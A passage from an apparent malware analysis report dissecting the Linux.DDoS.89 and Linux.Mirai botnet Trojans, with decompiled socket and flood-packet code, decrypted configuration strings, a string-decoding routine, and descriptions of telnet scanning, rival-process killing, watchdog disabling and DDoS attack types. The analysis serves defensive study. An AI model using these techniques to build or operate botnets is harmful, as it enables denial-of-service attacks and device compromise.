    v2 = 2;
    v4 = 0x8080808;
    v3 = 0x3500;
    __libc_connect(v0, &v2, 16);
    __GI_getsockname(v0, &v2, &v5);
    __libc_close(v0);
    result = v4;
  }
  return result;}
```

The local server is then launched:

```
int start_server()
{
```

```
int result; // eax@1
struct flock *v1; // eax@2
char v2; // ST1C_1@2
unsigned __int32 v3; // eax@2
_DWORD *v4; // ebx@4
char v5; // [esp+Ch] [ebp-30h]@0
sockaddr_in v6; // [esp+20h] [ebp-1Ch]@4
int v7; // [esp+30h] [ebp-Ch]@1
v7 = 1;
result = __GI_socket(2, 1, 0);
server_socket = result;
if ( result != -1 )
{
  __GI_setsockopt(result, 1, 2, &v7, 4);
  v1 = (struct flock *)__GI___libc_fcntl(server_socket, 3, 0, v5);
  BYTE1(v1) |= 8u;
  __GI___libc_fcntl(server_socket, 4, v1, v2);
  v3 = 0x100007F;
  if ( !can_bind )
    v3 = selfaddr;
  v6.sin_family = 2;
  v6.sin_addr.s_addr = v3;
  v6.sin_port = 0xE5BBu; //48101
  v4 = getLastError();
  *v4 = 0;
  if ( __GI_bind(server_socket, &v6, 16) == -1 )
  {
    if ( *v4 == EADDRNOTAVAIL )
      can_bind = 0;
    v6.sin_family = 2;
    v6.sin_addr.s_addr = 0;
    v6.sin_port = 0xE5BBu; //48101
    __libc_connect(server_socket, &v6, 16); //connects to socket
    __GI_sleep(5);
    __libc_close(server_socket);
    result = start_server();
  }
```

```
    else
    {
      result = __GI_listen(server_socket, 1);
    }
  }
  return result;
}
```

If the Trojan fails to use the **bind** system call, it connects to the corresponding port because it is assumed that the port is already busy running a previously launched **Linux.DDoS.89** process. In this case, the previously launched process terminates itself. Once the server is launched, the C&C server address information stored in the executable file is added to the **sockaddr_in** structure:

```
.text:0804BBEF                  mov     ds:cnc.sin_family, 2
.text:0804BBF8                  add     esp, 10h
.text:0804BBFB                  mov     ds:cnc.sin_addr.s_addr, XXXXXXXXh
.text:0804BC05                  mov     ds:cnc.sin_port, 5000h
```

Then the following function obtained from the process is calculated:

```
def check(name):
    print name
    a = [ord(x) for x in name]
    sum = (0 - 0x51) & 0xff
    for i in [2,4,6,8,10,12]:
        z =  (~a[i % len(a)] & 0xff)
        sum = (sum + z)&0xff
    return sum % 9
```

The result returned by the function is an index in a function array. The function with the corresponding index will be performed. The list of functions looks as follows:

```
.rodata:080510A0 off_80510A0     dd offset start_server  ; DATA XREF:
main+4Do
.rodata:080510A4                 dd offset decode
.rodata:080510A8                 dd offset get_config_entry
.rodata:080510AC                 dd offset fill_config
.rodata:080510B0                 dd offset encode
.rodata:080510B4                 dd offset memncpy
.rodata:080510B8                 dd offset strcmp
```

```
.rodata:080510BC                dd offset runkiller
.rodata:080510C0                dd offset change_host
```

Then the name of the current process is checked. If it is "`./dvrHelper`", the SIGTRAP signal is created. This signal is responsible for changing the C&C server.

Each configuration is filled in the following way:

```
v2 = (char *)malloc(0xFu);
memcpy(v2, (char *)&unk_8051259, 15);
conf_entries[3].data = v2;
conf_entries[3].length = 15;
v3 = (char *)malloc(4u);
memcpy(v3, "'ь+B", 4);
conf_entries[4].data = v3;
conf_entries[4].length = 4;
v4 = (char *)malloc(2u);
memcpy(v4, "\"5", 2);
conf_entries[5].data = v4;
conf_entries[5].length = 2;
v5 = (char *)malloc(7u);
```

The configuration for this sample looks as follows:

Number	Decrypted value	Purpose
1	"DROPOUTJEEP"	
2	"wiretap -report='tcp://65.222.202.53:80'"	this string is appended as a Trojan's name and is displayed in a process list
3	"listening tun0"	output to stdin when launched
4	<ip-addres>	C&C server's address
5	<port>	C&C server's port
6	"/proc/"	runkiller
7	"/exe"	runkiller
8	"REPORT %s:%s"	runkiller
9	"HTTPFLOOD"	runkiller

Number	Decrypted value	Purpose
10	"LOLNOGTFO"	runkiller
11	"\x58\x4D\x4E\x4E\x43\x50\x46\x22"	runkiller
12	"zollard"	runkiller
13	"GETLOCALIP"	unused
14	<host>	the scanner of the hosts' IP address to which information on infected computers is sent
15	<port>	the scanner of the hosts' port to which information on infected computers is sent
16	"shell"	scanner
17	"enable"	scanner
18	"sh"	scanner
19	"/bin/busybox MIRAI"	scanner
20	"MIRAI: applet not found"	scanner
21	"ncorrect"	scanner
22	"TSource Engine Query"	cmd1
23	"/etc/resolv.conf"	cmd2
24	"nameserver"	cmd2

Once the configuration is filled, the process's name is changed to `conf[2]`. Using the **prctl** function, its name is changed to `conf[1]`.

Then `conf[3]` is output to the standard **stdin** thread:

```
.text:0804BE05                lea     eax, [esp+1224h+len]
.text:0804BE0C                push    eax
.text:0804BE0D                push    3
.text:0804BE0F                call    get_config_entry
.text:0804BE14                add     esp, 0Ch
.text:0804BE17                mov     edi, [esp+1220h+len]
.text:0804BE1E                push    edi             ; len
.text:0804BE1F                push    eax             ; addr
.text:0804BE20                push    1               ; fd
```

```
.text:0804BE22                  call    ___libc_write
.text:0804BE27                  add     esp, 0Ch
.text:0804BE2A                  push    1               ; len
.text:0804BE2C                  push    offset newline_2 ; addr
.text:0804BE31                  push    1               ; fd
.text:0804BE33                  call    ___libc_write
```

Child processes are subsequently created and the following functions are called:

```
.text:0804BEBF                  call    init_consts__
.text:0804BEC4                  call    fill_handlers
.text:0804BEC9                  call    run_scanner
.text:0804BECE                  pop     esi
.text:0804BECF                  mov     edx, [esp+1228h+var_1210]
.text:0804BED3                  mov     ebx, [edx]
.text:0804BED5                  push    ebx
.text:0804BED6                  call    runkiller
```

The **runkiller** function does not check whether files are present in the process's directory because it uses PID. The process will not be terminated if its PID is the same as the current or parental one.

The same changes were implemented to the network operation mechanism. Instead of blocking sockets, the Trojan uses the select system call which also handles server sockets. When connecting to a server socket, all child processes and the current process are terminated, and a new scanner process is run:

```
.text:0804C1E5 socket_server_ready:                    ; CODE XREF: main
+53Ej
.text:0804C1E5                  mov     [esp+121Ch+optval], 10h
.text:0804C1F0                  lea     eax, [esp+121Ch+var_48]
.text:0804C1F7                  push    edi
.text:0804C1F8                  lea     edx, [esp+1220h+optval]
.text:0804C1FF                  push    edx
.text:0804C200                  push    eax
.text:0804C201                  push    ecx
.text:0804C202                  call    ___libc_accept
.text:0804C207                  call    kill_scanner
.text:0804C20C                  call    kill_killer
.text:0804C211                  call    spawn_new_scanner
.text:0804C216                  pop     ebx
.text:0804C217                  pop     esi
```

```
.text:0804C218                push    9               ; sig
.text:0804C21A                neg     [esp+1228h+var_120C]
.text:0804C21E                mov     ecx, [esp+1228h+var_120C]
.text:0804C222                push    ecx             ; int
.text:0804C223                call    ___GI_kill
.text:0804C228                mov     [esp+122Ch+fd], 0 ; status
.text:0804C22F                call    ___GI_exit
```

The MAC address of the network adapter is not sent to the C&C server, and network commands are received one by one.

The run_scanner function, which was borrowed from the **Linux.BackDoor.Fgt** Trojan family and which is responsible for searching for vulnerable devices, has been slightly changed—the C&C server's address, to which information on infected computers is sent, is extracted from the configuration.

HTTP flood is now missing from the list of types of attacks performed, and commands have been reordered:

Number	Type
0	UPD random
1	TSource
2	DNS flood
3	TCP flood 2 options
4	TCP flood random data
5	TCP flood
6	UDP over GRE
7	TEB over GRE

In the examined sample, virus makers tried to carry out a DNS amplification attack: the DNS server's address is retrieved either from the resolv.conf file or from a list of public DNS servers hard-coded into the Trojan's body.

Linux.Mirai

SHA1: 7e0e07d19b9c57149e72a7ed266e0c8aa5019a6f

A modified version of Linux.DDoS.87 and Linux.DDoS.89. Its main differences from **Linux.DDoS.89** are as follows:

- Some samples of the Trojan can now delete themselves.
- The Trojan can disable the watchdog timer, which prevents system hangs, to make it impossible to re-boot the computer.
- The process's name is changed to a random sequence containing the characters [a-z 0-9].
- The configuration structure has been changed.
- If a process named "`.anime`" is found, the **Runkiller** function not only terminates this process but also deletes the executable file.
- Unlike **Linux.DDoS.89**, this version can execute HTTP Flood attacks.
- If the Trojan fails to create a socket and connect to it, the corresponding function searches for the process that owns the socket and kills it.

The Trojan's configuration looks as follows:

Number	Value	Purpose
3	Listening tun0	Main output to stdin
4	Host	Command and control server's IP address
5	Port	C&C server's port
6	"https://youtube.com/watch?v=dQw4w9WgXcQ"	
7	"/proc/"	runkiller
8	"/exe"	runkiller
9	" (deleted)"	
10	"/fd"	runkiller
11	".anime"	runkiller
12	"REPORT %s:%s"	runkiller
13	"HTTPFLOOD"	runkiller
14	"LOLNOGTFO"	runkiller
15	"\x58\x4D\x4E\x4E\x43\x50\x46\x22"	runkiller

Number	Value	Purpose
16	"zollard"	runkiller
17	"GETLOCALIP"	
18	Host	
19	Port	
20	"shell"	
21	"enable"	
22	"system"	
23	"sh"	
24	"/bin/busybox MIRAI"	
25	"MIRAI: applet not found"	
26	"ncorrect"	
27	"/bin/busybox ps"	
28	"/bin/busybox kill -9 "	
29	"TSource Engine Query"	
30	"/etc/resolv.conf"	
31	"nameserver"	
32	"Connection: keep-alive"	
33	"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"	
34	"Accept-Language: en-US,en;q=0.8"	
35	"Content-Type: application/x-www-form-urlencoded"	
36	"setCookie('"	
37	"refresh:"	
38	"location:"	
39	"set-cookie:"	
40	"content-length:"	

Number	Value	Purpose
41	"transfer-encoding:"	
42	"chunked"	
43	"keep-alive"	
44	"connection:"	
45	"server: dosarrest"	
46	"server: cloudflare-nginx"	
47	"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"	User Agent
48	"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"	User Agent
49	"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"	User Agent
50	"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"	User Agent
51	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"	User Agent

All samples of the Trojan use a function that hides the following strings:

```
def decode(str_enc):
  return "".join([chr(ord(x) ^ 0x22) for x in str_enc])
```

Once launched, the Trojan removes its executable file from the disk, blocks the SIGINT signal with the help of sigprocmask, and sets the parameter SIG_IGN for SIGCHLD and a handler for SIGTRAP.

Then the Trojan tries to open the `/dev/watchdog` file for reading/writing (`/dev/misc/watchdog` is also checked) and, if successful, disables the watchdog timer.

```
ioctl(fd, WDIOC_SETOPTION, WDIOS_DISABLECARD)
```

The Trojan subsequently opens a root folder and sends a request to the address 8.8.8.8:53 to get the IP address of its network traffic.

Next, the Trojan calculates a function taken from the `argv[0]` value:

```
def check(name):
    print name
    a = [ord(x) for x in name]
    sum = (0 - 0x51) & 0xff
    for i in [2,4,6,8,10,12]:
        z =  (~a[i % len(a)] & 0xff)
        sum = (sum + z)&0xff
        #print "%x %x %x" % (z, sum, sum % 9)
    return sum % 9
```

This function returns a number from 0 to 8 that represents an index in a function array:

```
off_8055DC0     dd offset bind_socket   ; DATA XREF: main+109o
.rodata:08055DC4                        dd offset sub_80517E0
.rodata:08055DC8                        dd offset sub_8051730
.rodata:08055DCC                        dd offset create_config
.rodata:08055DD0                        dd offset sub_8051760
.rodata:08055DD4                        dd offset sub_80523F0
.rodata:08055DD8                        dd offset strcopy
.rodata:08055DDC                        dd offset runkiller
.rodata:08055DE0                        dd offset sub_804E900
```

If **argv[0] == "./dvrHelper"**, a parental process receives the SIGTRAP signal (for which a handler was previously installed). The handler, in turn, modifies the IP address taken from the configuration and the C&C server's port to which the Trojan will connect.

Then a listening socket is opened at the address 127.0.0.1:48101. If this port is busy with another process, the Trojan runs a function that finds the process and kills it.

The Trojan subsequently generates a name that looks like a random sequence containing the characters [a-z 0-9] and writes it to `argv[0]`. Using the **prctl** function, the process's name is changed to a random one.

Next, the Trojan creates child processes and terminates the parental one. All further steps are performed in a child process—in particular, a structure containing handlers is filled in. Then a function responsible for scanning telnet nodes and a function that terminates the processes of other Trojans are launched. The Trojan then runs a handler for incoming instructions sent from the C&C server. If the Trojan detects that a connection to a local server is being established, it runs a child process to scan vulnerable telnet nodes and terminates the parental process.

The pictures below show a code fragments for **Linux.DDoS.87** and **Linux.Mirai**.

```
37  int v38; // [esp+50h] [ebp-14h]@2
38
39  v28 = calloc(a1, 4u);
40  v32 = sub_804CB20(a3, a4, 2, 0);
41  v29 = sub_804CB20(a3, a4, 3, 0xFFFF);
42  v33 = sub_804CB20(a3, a4, 4, 64);
43  v34 = sub_804CB20(a3, a4, 5, 1);
44  v30 = sub_804CB20(a3, a4, 6, 0xFFFF);
45  v4 = sub_804CB20(a3, a4, 7, 0xFFFF);
46  v35 = sub_804CB20(a3, a4, 0, 512);
47  v36 = sub_804CB20(a3, a4, 1, 1);
48  v5 = sub_804CB20(a3, a4, 19, 0);
49  v6 = __GI_socket(2, 3, 6);
50  fd = v6;
51  result = v6 + 1;
52  if ( result )
53  {
54    v38 = 1;
55    if ( __GI_setsockopt(fd, 0, 3, &v38, 4) != -1 )
56    {
57      v37 = v5;
58      v38 = 0;
59      if ( (signed int)a1 > 0 )
60      {
61        v8 = 0;
62        do
63        {
64          v28[v8] = calloc(0x5E6u, 4u);
65          v12 = v28[v38];
66          *(_BYTE *)v12 = 69;
67          *(_BYTE *)(v12 + 1) = v32;
68          v13 = (_WORD *)(v12 + 44);
69          v14 = __ROR2__(v35 + 52, 8);
70          *(_WORD *)(v12 + 2) = v14;
71          *(_BYTE *)(v12 + 8) = v33;
72          v15 = __ROR2__(v29, 8);
73          *(_WORD *)(v12 + 4) = v15;
74          if ( v34 )
75            *(_WORD *)(v12 + 6) = 64;
76          *(_BYTE *)(v12 + 9) = 47;
77          *(_WORD *)(v12 + 22) = 8;
78          *(_DWORD *)(v12 + 12) = dword_8056A70;
79          v16 = *(_DWORD *)(a2 + 24 * v38);
```

Code fragment for Linux.DDoS.87

```
43  int v44; // [esp+78h] [ebp-14h]@2
44
45  v31 = calloc(a1, 4u);
46  v35 = sub_804A950(a3, a4, 2, 0);
47  v32 = sub_804A950(a3, a4, 3, 0xFFFF);
48  v36 = sub_804A950(a3, a4, 4, 64);
49  v37 = sub_804A950(a3, a4, 5, 1);
50  v33 = sub_804A950(a3, a4, 6, 0xFFFF);
51  v4 = sub_804A950(a3, a4, 7, 0xFFFF);
52  v38 = sub_804A950(a3, a4, 0, 512);
53  v39 = sub_804A950(a3, a4, 1, 1);
54  v5 = sub_804A950(a3, a4, 19, 0);
55  v6 = __GI_socket(2, 3, 6);
56  v34 = v6;
57  result = v6 + 1;
58  if ( result )
59  {
60    v44 = 1;
61    if ( __GI_setsockopt(v34, 0, 3, &v44, 4) != -1 )
62    {
63      v40 = v5;
64      v44 = 0;
65      if ( (signed int)a1 <= 0 )
66      {
67        v29 = v38 + 8;
68        v30 = v38 + 66;
69      }
70      else
71      {
72        v8 = 0;
73        do
74        {
75          v31[v8] = calloc(0x5E6u, 4u);
76          v13 = v31[v44];
77          *(_BYTE *)v13 = 69;
78          v14 = (_WORD *)(v13 + 58);
79          *(_BYTE *)(v13 + 1) = v35;
80          v15 = __ROR2__(v38 + 66, 8);
81          *(_WORD *)(v13 + 2) = v15;
```

Code fragment for Linux.Mirai